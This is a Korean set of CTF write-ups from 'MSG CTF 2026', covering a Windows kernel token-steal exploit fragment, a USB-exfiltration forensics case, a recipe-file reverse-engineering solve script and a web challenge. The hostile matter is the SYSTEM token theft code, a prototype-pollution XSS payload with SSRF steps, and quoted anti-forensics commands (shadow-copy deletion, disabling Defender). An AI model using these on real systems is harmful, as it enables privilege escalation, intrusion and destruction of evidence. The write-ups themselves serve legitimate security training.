                          &ctx.InputServer, &ctx.InputClient) ||
        !create_pipe_pair(L"₩₩₩₩₩.₩₩pipe₩₩MsgDriverIoRingOutput",
                          &ctx.OutputServer, &ctx.OutputClient)) {
        printf("[-] named-pipe setup failed: %lu₩n", GetLastError());
        goto Exit;
    }

    if (!steal_system_token(&ctx, ethread)) {
        printf("[-] token steal failed₩n");
        goto Exit;
    }

    printf("[+] process token replaced with SYSTEM token₩n");
    success = TRUE;

Exit:
    restore_and_release(&ctx);
    if (success) {
        success = print_flag();
    }
    return success ? 0 : 1;
}
```

재현 결과

SYSTEM 토큰 탈취 후 C:₩flag.txt를 읽어 플래그를 획득했다.

FLAG: msgctf2026{10r1ng_w1nd0w_d35ync_kthr34d_l34k_8875}

04. 유출된 기밀문서

분야	Forensics
상태	완료

풀이 과정

MSG CTF 2026 포렌식 — USB를 이용한 기밀문서 유출

1. 문제 개요

사내 워크스테이션의 E01 디스크 이미지에서 다음 항목을 식별해야 한다.

• 유출에 사용된 이동식 저장장치의 Device ID

• USB 연결 후 열람된 파일

• 삭제된 파일의 마지막 액세스 시각

문제에서 제시한 플래그 형식은 다음과 같다.

코드 블록 (text)

```
msgctf2026{USB_시리얼_YYYYMMDDHHMMSS}
```

USB_시리얼은 자리표시자이며, 문제 설명에서는 이를 "이동식 저장장치의 Device ID"라고 정의한다.

2. 증거 무결성 및 파일시스템 확인

압축 파일을 비밀번호 msg-ctf로 해제했다.

코드 블록 (bash)

```
7z x -pmsg-ctf evidence.7z
sha256sum evidence.7z
```

계산된 SHA-256은 문제에서 제공된 값과 일치했다.

코드 블록 (text)

```
64a7642d385a08a150f32cfbe093087afdf414a9973cb12a846d56a4ef4c2254
```

E01의 파티션 구조는 다음 명령으로 확인했다.

코드 블록 (bash)

```
mmls evidence.E01
```

Windows가 설치된 주 NTFS 파티션은 512바이트 섹터 기준 104448번 섹터에서 시작한다.

3. 이동식 저장장치 식별

SYSTEM 하이브의 다음 경로에서 SanDisk USB 저장장치를 확인했다.

코드 블록 (text)

```
ControlSet001₩Enum₩USB₩VID_0781&PID_5567₩200422048318A9903CC6
```

주요 값은 다음과 같다.

코드 블록 (text)

```
Service        = USBSTOR
Hardware ID    = USB₩VID_0781&PID_5567
Serial         = 200422048318A9903CC6
Container ID   = {333446F2-BB5E-5724-8DFC-8D9119399701}
```

USBSTOR에도 같은 장치가 기록되어 있다.

코드 블록 (text)

```
ControlSet001₩Enum₩USBSTOR₩Disk&Ven_SanDisk&Prod_Cruzer_Blade&Rev_1.00₩200422048318A9903CC6&0
```

여기서 &0은 USB의 물리 시리얼 자체가 아니라 USBSTOR 인스턴스에 붙는 LUN 식별자다. 물리 USB 장치의 시리얼은 Enum₩USB에 기록된 다음 값이다.

코드 블록 (text)

```
200422048318A9903CC6
```

장치의 Friendly Name은 SanDisk Cruzer Blade USB Device였고, Portable Devices 흔적에서는 볼륨 이름 ESD-USB도 확인할 수 있었다.

setupapi.dev.log에는 장치 설치가 로컬 시각 2026-08-28 17:25:44경 시작된 기록이 남아 있었다. SYSTEM 하이브의 시간대는 Korea Standard Time이므로 이 시스템은 UTC+9를 사용한다.

4. 열람된 파일 식별

사용자의 Recent 폴더에서 다음 바로가기 파일을 발견했다.

코드 블록 (text)

```
C:₩Users₩MSG₩AppData₩Roaming₩Microsoft₩Windows₩Recent₩MSG.lnk
```

이 LNK의 대상은 다음 파일이다.

코드 블록 (text)

```
C:₩Users₩MSG₩Desktop₩MSG.jpg
```

LNK에 저장된 대상 파일의 크기는 388,849바이트다. 대상 파일의 타임스탬프는 다음과 같다.

구분	UTC	KST
Created	2026-08-28 08:25:57.687152	2026-08-28 17:25:57.687152
Modified	2026-08-28 06:54:20	2026-08-28 15:54:20
Accessed	2026-08-28 08:26:02.941164	2026-08-28 17:26:02.941164

따라서 USB 연결 후 열람된 파일은 MSG.jpg이며, LNK 기준 마지막 액세스 시각은 KST 2026-08-28 17:26:02다.

5. 다른 아티팩트를 이용한 교차 검증

5.1 USN Journal

$UsnJrnl:$J에서 다음 순서를 확인했다.

시각(UTC)	이벤트
08:25:57.687152	MSG.jpg 생성 및 데이터 기록
08:26:02.863248	Photos 앱 추적 로그 생성
08:26:03.190992	MSG.jpg Object ID 변경
08:26:03.503586	MSG.lnk 생성
08:27:28.765490	MSG.jpg 삭제 및 Close

파일은 USB 연결 후 데스크톱으로 복사됐고, Windows Photos로 열린 뒤 삭제된 것으로 판단된다.

5.2 Windows Prefetch

다음 프리패치가 존재했다.

코드 블록 (text)

```
C:₩Windows₩Prefetch₩MICROSOFT.PHOTOS.EXE-F2E34A5F.pf
```

프리패치 내부의 마지막 실행 시각은 다음과 같다.

코드 블록 (text)

```
2026-08-28 08:26:01.956748 UTC
2026-08-28 17:26:01.956748 KST
```

이는 LNK에 기록된 파일 액세스 시각 직전에 Photos가 실행됐음을 보여준다.

5.3 ActivitiesCache.db

Windows Timeline 데이터베이스에서 Photos의 사용자 활동을 확인했다.

코드 블록 (text)

```
StartTime = 2026-08-28 08:26:04 UTC
EndTime   = 2026-08-28 08:26:10 UTC
Timezone  = Asia/Seoul
```

KST로는 17:26:04부터 17:26:10까지다. 이 값은 Photos에서 이미지가 실제 표시된 활동 구간을 보조하지만, 대상 파일 자체의 Accessed 타임스탬프는 아니다.

5.4 Jump List

Photos의 Automatic Destinations 파일에서도 MSG.jpg를 확인했다.

코드 블록 (text)

```
a52b0784bd667468.automaticDestinations-ms
```

DestList 상호작용 시각은 2026-08-28 08:26:03.190992 UTC였다. 이 값은 Jump List 갱신 시각이며, LNK 대상 파일의 Accessed 값 08:26:02.941164 UTC와 약 0.25초 차이가 난다.

5.5 NTFS $LogFile

삭제된 MSG.jpg의 MFT 엔트리는 이후 재사용되어 현재 MFT만으로는 원래 메타데이터를 직접 확인하기 어려웠다. 그러나 $LogFile에 남은 이전 MFT 레코드를 복구해 다음 $STANDARD_INFORMATION 값을 재확인했다.

코드 블록 (text)

```
Created      2026-08-28 08:25:57.687152 UTC
Modified     2026-08-28 06:54:20.000000 UTC
MFT Changed 2026-08-28 08:26:03.190992 UTC
Accessed     2026-08-28 08:26:02.941164 UTC
```

따라서 17:26:03은 MFT Changed/Jump List 계열 시각이며, 파일의 Accessed 값은 17:26:02가 맞다.

6. 삭제 및 안티포렌식 정황

PowerShell PSReadLine 기록에는 다음과 같은 명령이 남아 있었다.

코드 블록 (powershell)

```
vssadmin delete shadows /all /quiet
Disable-ComputerRestore -Drive "C:₩"
fsutil behavior set DisableDeleteNotify 1
$path = "C:₩zerofill.tmp"
# 남은 디스크 공간을 0으로 채우는 루프
Remove-Item $path -Force
Set-MpPreference -DisableRealtimeMonitoring $true
net stop "Windows Search"
```

파일 삭제 후 빈 공간을 0으로 덮어써 원본 MSG.jpg의 복구를 방해한 정황이다. 이 때문에 원본 파일 대신 LNK, Jump List, USN Journal, Prefetch, $LogFile을 상호 검증해야 했다.

7. 사건 타임라인

KST	행위
17:25:44	SanDisk Cruzer Blade 연결
17:25:57	USB에서 MSG.jpg를 데스크톱으로 복사
17:26:01	Microsoft Photos 실행
17:26:02	MSG.jpg 마지막 액세스
17:26:03	Jump List/Object ID 및 Recent LNK 갱신
17:26:04–17:26:10	Photos 사용자 활동
17:27:28	MSG.jpg 삭제
이후	VSS 삭제 및 빈 공간 Zero-fill 수행

8. 결론 및 플래그

증거에서 직접 확인한 USB 물리 시리얼은 200422048318A9903CC6이고, MSG.jpg의 마지막 접근 시각은 2026-08-28 17:26:02 KST다. 시각을 YYYYMMDDhhmmss로 정규화하고 두 값 사이에 밑줄 두 개를 넣는다.

코드 블록 (text)

```
USB 물리 시리얼 : 200422048318A9903CC6
파일            : MSG.jpg
마지막 액세스   : 20260828172602
구분자          : __
```

최종 플래그는 다음과 같다.

코드 블록 (text)

```
msgctf2026{200422048318A9903CC6__20260828172602}
```

익스플로잇 코드 / 분석 코드 전체

원문 라이트업의 전체 코드/명령 블록

```
# --- code block (text) ---
msgctf2026{USB_시리얼_YYYYMMDDHHMMSS}
# --- code block (bash) ---
```

```
7z x -pmsg-ctf evidence.7z
sha256sum evidence.7z

# --- code block (text) ---
64a7642d385a08a150f32cfbe093087afdf414a9973cb12a846d56a4ef4c2254

# --- code block (bash) ---
mmls evidence.E01

# --- code block (text) ---
ControlSet001₩Enum₩USB₩VID_0781&PID_5567₩200422048318A9903CC6

# --- code block (text) ---
Service        = USBSTOR
Hardware ID    = USB₩VID_0781&PID_5567
Serial         = 200422048318A9903CC6
Container ID   = {333446F2-BB5E-5724-8DFC-8D9119399701}

# --- code block (text) ---
ControlSet001₩Enum₩USBSTOR₩Disk&Ven_SanDisk&Prod_Cruzer_Blade&Rev_1.00₩200422048318A9903CC6&0

# --- code block (text) ---
200422048318A9903CC6

# --- code block (text) ---
C:₩Users₩MSG₩AppData₩Roaming₩Microsoft₩Windows₩Recent₩MSG.lnk

# --- code block (text) ---
C:₩Users₩MSG₩Desktop₩MSG.jpg

# --- code block (text) ---
C:₩Windows₩Prefetch₩MICROSOFT.PHOTOS.EXE-F2E34A5F.pf

# --- code block (text) ---
2026-08-28 08:26:01.956748 UTC
2026-08-28 17:26:01.956748 KST

# --- code block (text) ---
StartTime = 2026-08-28 08:26:04 UTC
EndTime   = 2026-08-28 08:26:10 UTC
Timezone  = Asia/Seoul

# --- code block (text) ---
a52b0784bd667468.automaticDestinations-ms

# --- code block (text) ---
Created      2026-08-28 08:25:57.687152 UTC
Modified     2026-08-28 06:54:20.000000 UTC
MFT Changed 2026-08-28 08:26:03.190992 UTC
Accessed     2026-08-28 08:26:02.941164 UTC

# --- code block (powershell) ---
vssadmin delete shadows /all /quiet
Disable-ComputerRestore -Drive "C:₩"
fsutil behavior set DisableDeleteNotify 1
$path = "C:₩zerofill.tmp"
# 남은 디스크 공간을 0으로 채우는 루프
Remove-Item $path -Force
Set-MpPreference -DisableRealtimeMonitoring $true
net stop "Windows Search"

# --- code block (text) ---
USB 물리 시리얼 : 200422048318A9903CC6
파일              : MSG.jpg
마지막 액세스     : 20260828172602
구분자            : __

# --- code block (text) ---
msgctf2026{200422048318A9903CC6__20260828172602}
```

재현 결과

USB 물리 시리얼과 MSG.jpg의 마지막 접근 시각을 결합했다. 시리얼과 시각 사이에는 밑줄 두 개를 사용한다.

FLAG: msgctf2026{200422048318A9903CC6__20260828172602}

05. rework

분야	Reverse Engineering
상태	완료

풀이 과정

MSG CTF 2026 — CTC-4200 (rev/rework) Write-up

1. 문제 개요

문제 파일은 반도체 클러스터 장비를 흉내 낸 프로그램과 여러 공정 레시피로 구성되어 있다. README.txt의 설명대로 소프트웨어 패치 이후 손상된 레시피를 정상 상태로 복원하고, 공정을 끝까지 통과시켜 생성되는 웨이퍼 맵에서 플래그를 읽는 문제다.

주요 파일은 다음과 같다.

파일	역할
bin/ctc.exe	전체 공정 순서를 관리하는 Cluster Tool Controller
bin/pmc.exe	공정 챔버 제어 및 인터락 검사
bin/tmc.exe	웨이퍼 이송 제어
recipes/*.crp	여러 공정 레시피를 연결하는 클러스터 레시피
recipes/*.rcp	실제 장비 스텝과 파라미터가 들어 있는 공정 레시피
logs/CTC0.log	공정 진행 및 실패 원인을 확인할 수 있는 로그

프로그램을 처음 실행해 MSG_STD 잡을 시작하면 다음 오류와 함께 즉시 중단된다.

코드 블록 (text)

```
[ALARM] SET   2001  recipe cannot be loaded
[FATAL] recipe integrity check failed (0x8007000D)
```

따라서 먼저 레시피 파일 포맷과 무결성 검사 방식을 역분석해야 한다.

2. 레시피 포맷 분석

공정 레시피는 CTCR 매직으로 시작하며 헤더 크기는 0x40바이트다. ctc.exe의 레시피 로더를 따라가며 확인한 주요 필드는 다음과 같다.

오프셋	크기	의미
0x00	4	매직 CTCR
0x08	4	헤더 크기 (0x40)
0x0c	4	전체 파일 크기
0x10	4	스텝 개수
0x18	4	레코드 데이터의 파일 오프셋
0x1c	4	레코드 데이터 길이
0x30	4	복호화된 레코드 영역의 CRC32
0x34	4	헤더 0x00..0x33의 CRC32

헤더 뒤에는 스텝 수 × 4바이트 크기의 레코드 오프셋 테이블과 가변 길이 레코드들이 연속해서 들어 있다. 이 영역 전체는 헤더 CRC를 키로 사용하는 스트림 변환으로 암호화되어 있다.

복호화 로직을 Python으로 옮기면 다음과 같다.

코드 블록 (python)

```
def ror8(v, n):
    n &= 7
    return v if n == 0 else ((v >> n) | (v << (8 - n))) & 0xff

def decrypt(data, header_crc):
    state = header_crc ^ 0x5A17C3E9
    out = bytearray()
    for i, value in enumerate(data):
        state = (state * 0x2F0B4E15 + 0x1D872B41) & 0xffffffff
        key = (state >> 23) & 0xff
```

```
        out.append(ror8(value, i & 7) ^ key)
    return bytes(out)
```

각 레코드는 다음 형태다.

코드 블록 (text)

```
+0x00  uint16  레코드 길이
+0x02  uint16  스텝 종류
+0x04  uint16  내부 스텝 번호
+0x08  uint8   파라미터 개수
+0x0a  uint16  레코드 CRC16-CCITT
+0x0c  parameter[파라미터 개수]
```

파라미터 하나는 ID(2) + 형식(2) + 값(4)의 8바이트 구조다. 레코드 CRC는 CRC 필드를 0으로 만든 뒤 초기값 0xffff, 다항식 0x1021로 계산한다.

무결성 값을 다시 만들 때는 다음 순서를 지켜야 한다.

- 수정한 레코드의 CRC16을 갱신한다.
- 오프셋 테이블을 제외한 복호화 레코드 영역의 CRC32를 0x30에 기록한다.
- 헤더 0x00..0x33의 CRC32를 0x34에 기록한다.
- 새 헤더 CRC를 키로 오프셋 테이블과 레코드를 다시 암호화한다.

3. 손상된 값 복구

3.1 ETC_CF4.rcp 헤더

MSG_STD.crp가 참조하는 레시피를 차례로 검사하면 ETC_CF4.rcp만 헤더의 data_length가 0으로 되어 있다. 파일 크기와 네 개 레코드의 경계를 계산하면 올바른 길이는 0x50이다.

패치 과정에서는 data_length만 0으로 만든 뒤 손상된 헤더의 CRC를 다시 계산했지만, 암호화된 본문은 원래 헤더 CRC를 사용하는 상태로 남겨 두었다. 따라서 다음처럼 길이를 복구하고 헤더 CRC를 다시 계산하면 본문을 정상적으로 복호화할 수 있다.

코드 블록 (python)

```
struct.pack_into("<I", image, 0x1C, 0x50)
header_crc = zlib.crc32(image[:0x34])
struct.pack_into("<I", image, 0x34, header_crc)
```

이 수정으로 레시피 로드는 통과하지만 공정을 실행할수록 다른 손상값들이 인터락에 걸린다. 로그를 실패 지점의 오라클로 사용할 수 있다.

3.2 현상 시간

첫 번째 실행은 30번째 스텝에서 중단된다.

코드 블록 (text)

```
interlock  MET  step 30/85  pattern out of spec after develop
```

DEV_STD.rcp의 세 번째 레코드에서 파라미터 0x0003은 현상 시간이다. 값이 600으로 변조되어 있어 레지스트 패턴이 사라지므로 정상값 60으로 복원한다.

코드 블록 (text)

```
DEV_STD.rcp, step 3, parameter 0x0003: 600 -> 60
```

3.3 에칭 RF 출력

다시 실행하면 에칭 구간에서 설정 범위 오류가 발생한다.

코드 블록 (text)

```
interlock  ETC  step 37/85  setpoint outside equipment range
```

ETC_CF4.rcp의 RF 파라미터 0x0004가 7000으로 설정되어 있다. 정상 범위와 단위를 고려해 700으로 복원한다.

코드 블록 (text)

```
ETC_CF4.rcp, RFON, parameter 0x0004: 7000 -> 700
```

3.4 공정 가스

다음 실행에서는 CF4 에칭 레시피임에도 필요한 가스가 공급되지 않았다는 인터락이 발생한다.

코드 블록 (text)

```
interlock  ETC  step 38/85  process gas not supplied
```

가스 종류 파라미터는 0x0005이고, 값 1은 Ar을 의미한다. CF4의 ID인 4로 변경한다. 유량 파라미터 0x0006 = 80은 정상이다.

코드 블록 (text)

```
ETC_CF4.rcp, GASFLOW, parameter 0x0005: 1 -> 4
```

3.5 에칭 스텝 순서

값을 모두 고친 뒤에도 두 번째 에칭 구간에서 RF 상태 불일치가 발생한다.

코드 블록 (text)

```
interlock  ETC  step 67/85  RF power state does not match
```

복호화된 오프셋 테이블은 다음과 같이 뒤섞여 있었다.

코드 블록 (text)

```
0x50, 0x5c, 0x78, 0x8c
```

각 오프셋이 가리키는 레코드의 내부 스텝 번호를 확인하면 다음과 같다.

레코드 오프셋	내부 번호	동작
0x50	4	RFOFF
0x5c	1	GASFLOW
0x78	2	RFON
0x8c	3	ETCH

즉, RFOFF가 가장 먼저 실행되어 공정 종료 시점에 RF가 켜진 채로 남는 순서였다. 내부 번호에 따라 정렬해 아래 순서로 복원한다.

코드 블록 (text)

```
0x5c, 0x78, 0x8c, 0x50
GASFLOW -> RFON -> ETCH -> RFOFF
```

데이터 CRC32는 레코드 영역만 대상으로 하므로 오프셋 테이블 정렬만으로 값이 바뀌지는 않는다. 다만 테이블도 암호화 영역에 포함되므로 정렬 후 다시 암호화해야 한다.

4. 자동 복구

전체 복구 코드는 solve.py (./solve.py)에 구현했다. 원본 문제 디렉터리에서 다음 명령 한 번으로 모든 수정이 적용된다.

코드 블록 (bash)

```
python3 solve.py
```

핵심 수정 순서는 다음과 같다.

코드 블록 (python)

```
repair_etc_cf4(Path("recipes/ETC_CF4.rcp"))
edit_process_parameter(Path("recipes/DEV_STD.rcp"), 3, 0x0003, 60)
sort_process_steps(Path("recipes/ETC_CF4.rcp"))
edit_process_parameter(Path("recipes/ETC_CF4.rcp"), 2, 0x0004, 700)
edit_process_parameter(Path("recipes/ETC_CF4.rcp"), 1, 0x0005, 4)
```

스크립트는 수정 후 레코드 CRC16, 데이터 CRC32, 헤더 CRC32를 모두 다시 계산하고 본문을 새 키로 암호화한다. 여러 번 실행해도 결과 파일의 해시가 바뀌지 않도록 작성했다.

5. 공정 실행과 플래그

복구한 뒤 MSG_STD, CAR0001, 슬롯 1로 잡을 실행하면 총 85개 스텝을 모두 통과한다.

코드 블록 (text)

```
substrate CAR0001.01  done  film 40nm  resist 0nm  etched pattern
wafer map  ...₩maps₩00A31C07_CAR0001.01_r1.ppm
job PJ1  lot 00A31C07 complete  1/1 substrate(s)  1710.4 s
PRJob  PJ1  PROCESSING -> PROCESS_COMPLETE
CtrlJob CJ1  EXECUTING -> COMPLETED
```

생성된 웨이퍼 맵은 다음과 같다.

wafer map

픽셀 문자를 줄 단위로 읽으면 다음 문자열이 나온다.

코드 블록 (text)

```
msgctf2026
{sweet_w4f
ers_w1th_c
h3m1cals}
```

따라서 최종 플래그는 다음과 같다.

코드 블록 (text)

```
msgctf2026{sweet_w4fers_w1th_ch3m1cals}
```

익스플로잇 코드 / 분석 코드 전체

전체 파일: rework_solve.py · 180 lines · SHA-256 cdb3ca9e97bef4539f20e60ba9640ef3cc84f294afbaf73e84d15b1d3f523633

```
#!/usr/bin/env python3
"""Repair every deliberately damaged CTC-4200 process-recipe field."""

from __future__ import annotations

import argparse
import binascii
import struct
import zlib
from pathlib import Path


MASK32 = 0xFFFFFFFF


def ror8(value: int, count: int) -> int:
    count &= 7
    if not count:
        return value
    return ((value >> count) | (value << (8 - count))) & 0xFF


def crypt(data: bytes, header_crc: int, *, encrypt: bool) -> bytes:
    state = header_crc ^ 0x5A17C3E9
    result = bytearray()
    for index, value in enumerate(data):
        state = (state * 0x2F0B4E15 + 0x1D872B41) & MASK32
        key = (state >> 23) & 0xFF
        if encrypt:
            value ^= key
            shift = index & 7
            if shift:
                value = ((value << shift) | (value >> (8 - shift))) & 0xFF
        else:
            value = ror8(value, index)
            value ^= key
        result.append(value)
    return bytes(result)


def repair_etc_cf4(path: Path) -> None:
    image = bytearray(path.read_bytes())
    if image[:4] != b"CTCR" or len(image) != 0xC0:
        raise ValueError(f"unexpected recipe format: {path}")
    if struct.unpack_from("<I", image, 0x10)[0] != 4:
        raise ValueError(f"unexpected step count: {path}")

    # The patch zeroed only data_length and recomputed header_crc.  The body
    # was left encrypted with the CRC of the intact header, so restore the
    # length and that header-dependent CRC before decrypting it.
    struct.pack_into("<I", image, 0x1C, 0x50)
    original_header_crc = zlib.crc32(image[:0x34])
    struct.pack_into("<I", image, 0x34, original_header_crc)

    count = struct.unpack_from("<I", image, 0x10)[0]
    data_length = struct.unpack_from("<I", image, 0x1C)[0]
    protected_length = count * 4 + data_length
    clear = crypt(
        image[0x40 : 0x40 + protected_length],
        original_header_crc,
        encrypt=False,
    )
    expected_data_crc = struct.unpack_from("<I", image, 0x30)[0]
    actual_data_crc = zlib.crc32(clear[count * 4 :])
    if actual_data_crc != expected_data_crc:
        raise ValueError(
            f"body CRC mismatch: {actual_data_crc:08x} != {expected_data_crc:08x}"
        )

    path.write_bytes(image)
    print(
        f"repaired {path}: data_length=0x{data_length:x}, "
        f"header_crc=0x{original_header_crc:08x}, data_crc=0x{actual_data_crc:08x}"
    )


def edit_process_parameter(path: Path, step: int, parameter: int, value: int) -> None:
    image = bytearray(path.read_bytes())
    if image[:4] != b"CTCR":
        raise ValueError(f"not a process recipe: {path}")
    count = struct.unpack_from("<I", image, 0x10)[0]
    data_offset = struct.unpack_from("<I", image, 0x18)[0]
    data_length = struct.unpack_from("<I", image, 0x1C)[0]
    old_header_crc = struct.unpack_from("<I", image, 0x34)[0]
    protected_length = count * 4 + data_length
    clear = bytearray(
        crypt(
```

```
            image[0x40 : 0x40 + protected_length],
            old_header_crc,
            encrypt=False,
        )
    )
    if not 1 <= step <= count:
        raise ValueError(f"step {step} is outside 1..{count}")

    record_file_offset = struct.unpack_from("<I", clear, (step - 1) * 4)[0]
    record_offset = count * 4 + record_file_offset - data_offset
    record_length = struct.unpack_from("<H", clear, record_offset)[0]
    parameter_count = clear[record_offset + 8]
    changed = False
    for index in range(parameter_count):
        item_offset = record_offset + 12 + index * 8
        parameter_id = struct.unpack_from("<H", clear, item_offset)[0]
        if parameter_id == parameter:
            struct.pack_into("<i", clear, item_offset + 4, value)
            changed = True
            break
    if not changed:
        raise ValueError(f"parameter {parameter:04x} is not present in step {step}")
    struct.pack_into("<H", clear, record_offset + 10, 0)
    record_crc = binascii.crc_hqx(
        clear[record_offset : record_offset + record_length], 0xFFFF
    )
    struct.pack_into("<H", clear, record_offset + 10, record_crc)
    data_crc = zlib.crc32(clear[count * 4 :])
    struct.pack_into("<I", image, 0x30, data_crc)
    header_crc = zlib.crc32(image[:0x34])
    struct.pack_into("<I", image, 0x34, header_crc)
    image[0x40 : 0x40 + protected_length] = crypt(
        clear, header_crc, encrypt=True
    )
    path.write_bytes(image)
    print(
        f"edited {path}: step={step}, parameter=0x{parameter:04x}, value={value}, "
        f"record_crc=0x{record_crc:04x}"
    )


def sort_process_steps(path: Path) -> None:
    image = bytearray(path.read_bytes())
    if image[:4] != b"CTCR":
        raise ValueError(f"not a process recipe: {path}")
    count = struct.unpack_from("<I", image, 0x10)[0]
    data_offset = struct.unpack_from("<I", image, 0x18)[0]
    data_length = struct.unpack_from("<I", image, 0x1C)[0]
    header_crc = struct.unpack_from("<I", image, 0x34)[0]
    protected_length = count * 4 + data_length
    clear = bytearray(
        crypt(
            image[0x40 : 0x40 + protected_length], header_crc, encrypt=False
        )
    )
    offsets = [struct.unpack_from("<I", clear, index * 4)[0] for index in range(count)]

    def step_number(file_offset: int) -> int:
        record_offset = count * 4 + file_offset - data_offset
        return struct.unpack_from("<H", clear, record_offset + 4)[0]

    offsets.sort(key=step_number)
    for index, file_offset in enumerate(offsets):
        struct.pack_into("<I", clear, index * 4, file_offset)
    image[0x40 : 0x40 + protected_length] = crypt(clear, header_crc, encrypt=True)
    path.write_bytes(image)
    print(f"sorted {path}: " + ", ".join(f"0x{x:x}" for x in offsets))


def main() -> None:
    parser = argparse.ArgumentParser(
        description="Restore all damaged fields in the CTC-4200 recipes."
    )
    parser.add_argument(
        "recipe",
        nargs="?",
        type=Path,
        default=Path("recipes/ETC_CF4.rcp"),
    )
    parser.add_argument("--dev-time", type=int, default=60)
    parser.add_argument("--etch-rf", type=int, default=700)
    parser.add_argument("--etch-gas", type=int, default=4)
    args = parser.parse_args()
    repair_etc_cf4(args.recipe)
    edit_process_parameter(Path("recipes/DEV_STD.rcp"), 3, 0x0003, args.dev_time)
    sort_process_steps(args.recipe)
    edit_process_parameter(args.recipe, 2, 0x0004, args.etch_rf)
    edit_process_parameter(args.recipe, 1, 0x0005, args.etch_gas)


if __name__ == "__main__":
    main()
```

재현 결과

복구 레시피를 MSG_STD / CAR0001 / slot 1에 실행해 플래그를 획득했다.
FLAG: msgctf2026{sweet_w4fers_w1th_ch3m1cals}

06. 로그아웃 시켜줘!!

분야	Web
상태	완료

풀이 과정

문제 자료와 공격 흐름

web/MIDNIGHT_EXAM 자료를 로그아웃 시켜줘!! 문제로 분석했다. 아래 내용은 실제 인스턴스에서 재현한 단계와 확보한 서버 소스를 기준으로 작성했다. 계정·세션·telemetry token 같은 일회성 값은 제출 문서에서 제거했다.

1. 프런트엔드 상태 기계와 API 열거

public/game.js를 읽어 가입, 문서, 게시판, telemetry, cartridge, unseal로 이어지는 상태 전이를 정리했다. 먼저 /api/signup으로 세션을 만들고 문서와 case board를 생성했다. 응답에 포함된 board id, operator id, telemetry token은 이후 요청을 같은 세션에서 연결하는 키다.

브라우저 개발자 도구와 프런트엔드 소스에서 다음 공격 표면을 확인했다.

단계	관찰한 기능	보안상 의미
레이아웃 실험실	/labs/layout의 쿼리 객체 병합	proto 오염 가능
telemetry	사용자별 방문 이벤트 기록	관리자 봇의 방문 여부 확인
cartridge ticket	내부 서비스 URL 반환	SSRF의 목적지 확보
export 도구	URL을 받아 서버에서 가져옴	내부 HTTP 서비스 조회
source export	서비스 파일을 JSON으로 반환	cabinet 실행기 소스 노출
unseal	board/review/telemetry 값을 검증	마지막 플래그 단계

2. 프로토타입 오염과 관리자 봇 유도

레이아웃 실험실은 쿼리 문자열을 레이아웃 설정에 깊은 병합한다. proto.banner에 스크립트를 넣으면 일반 객체에서 상속되는 banner가 오염된다. banner가 HTML로 렌더링되는 지점을 이용해 관리자/교사 봇이 공격자의 telemetry URL로 이동하게 했다.

코드 블록 (text)

```
/labs/layout?__proto__.banner=<script>location='/telemetry/<token>/teacher-nav'</script>
```

telemetry에서 teacher-nav 방문을 확인함으로써 봇 실행과 저장 XSS 체인이 성립했음을 검증했다.

3. Cartridge ticket과 내부 SSRF

/api/cartridge-ticket 응답은 내부 inventory 서비스 http://inventory-metadata:4200/status와 export 도구 /tools/export를 노출했다. 같은 세션에서 export 도구에 내부 URL을 넘겨 status와 catalog를 읽었다.

catalog 응답에서 서비스 이름 supply-catalog, zone maintenance, revision 2019.04-m13과 다음 lease 템플릿을 얻었다.

코드 블록 (text)

```
/v1/operator/lease?operator={operatorId}&case={caseBoardId}
audience = m13-operator
```

실제 operator id와 case board id를 넣어 lease를 요청하면 inventoryReceipt와 transferEnvelope가 반환됐다. 이 값들은 cabinet claim 단계의 입력이다.

4. Source disclosure와 cabinet 분석

동일한 export 기능을 이용해 runner와 cabinet JavaScript 소스를 확보했다. cabinet 소스는 외부에서 받은 직렬화 객체 그래프를 복원하고 연산 노드를 순서대로 평가한다. 내부 SHA-256 latch는 A/B/C/D/E/F/G/H/J 계열 연산을 거쳐 다음 목표 해시와 비교된다.

코드 블록 (text)

```
5b1caace30451dba0ccb51c29a13430d9b784b8e885f5f44993ce66a802deb25
```

또한 context.bus.index.release(proof)가 호출되어 released=true가 되어야 하며, 최종 평가 결과가 sealedIndex와 같아야 한다. 즉 단순히 목표 SHA-256 preimage만 찾는 문제가 아니라, 역직렬화된 객체 그래프의 getter·프로토타입·평가 순서를 이용해 release 부수 효과와 반환값을 동시에 만족해야 한다.

5. 분석 코드와 최종 결과

web/latch_brute.c는 확보한 cabinet 소스의 hash tick을 C/OpenMP로 옮겨 연산 순서, 문자열 coercion, undefined/null, 단계별 상수 조합을 전수 검사하는 전체 분석 코드다. 문서의 익스플로잇 코드 항목에 파일 전체를 수록했다.

저장 XSS, 관리자 봇, 내부 SSRF, operator lease, source disclosure와 cabinet/unseal 체인을 거쳐 최종 플래그 msgctf2026{l0g_m3_0ut_0f_h3r3}를 획득했다.

익스플로잇 코드 / 분석 코드 전체

전체 파일: logout_latch_brute.c · 362 lines · SHA-256 9ff57f3cf1d4e853dddd31bcffef5c90e9edc66684836627a6ef3a6f5071f9f5

```
#include <omp.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct {
  uint32_t h[8], Nl, Nh, data[16];
  unsigned int num, md_len;
} SHA256_CTX_LOCAL;
void SHA256_Transform(SHA256_CTX_LOCAL *ctx, const unsigned char *data);

static void hash256(const unsigned char *data, size_t len, unsigned char out[32]) {
  SHA256_CTX_LOCAL c = {{
    0x6a09e667U,0xbb67ae85U,0x3c6ef372U,0xa54ff53aU,
    0x510e527fU,0x9b05688cU,0x1f83d9abU,0x5be0cd19U
  },0,0,{0},0,32};
  unsigned char block[128] = {0};
  size_t blocks = len < 56 ? 1 : 2;
  memcpy(block, data, len); block[len] = 0x80;
  uint64_t bits = (uint64_t)len * 8;
  for (int i=0;i<8;i++) block[blocks*64-1-i] = (unsigned char)(bits >> (8*i));
  SHA256_Transform(&c, block);
  if (blocks == 2) SHA256_Transform(&c, block + 64);
  for (int i=0;i<8;i++) {
    out[4*i]=(unsigned char)(c.h[i]>>24); out[4*i+1]=(unsigned char)(c.h[i]>>16);
    out[4*i+2]=(unsigned char)(c.h[i]>>8); out[4*i+3]=(unsigned char)c.h[i];
  }
}

static const unsigned char goal[32] = {
  0x5b,0x1c,0xaa,0xce,0x30,0x45,0x1d,0xba,0x0c,0xcb,0x51,0xc2,0x9a,0x13,0x43,0x0d,
  0x9b,0x78,0x4b,0x8e,0x88,0x5f,0x5f,0x44,0x99,0x3c,0xe6,0x6a,0x80,0x2d,0xeb,0x25
};

static void tick(unsigned char out[32], const unsigned char in[32], const char *op, const char *setting) {
  unsigned char buf[1024];
  size_t n = 0, a = strlen(op), b = strlen(setting);
  memcpy(buf + n, in, 32); n += 32; buf[n++] = 0;
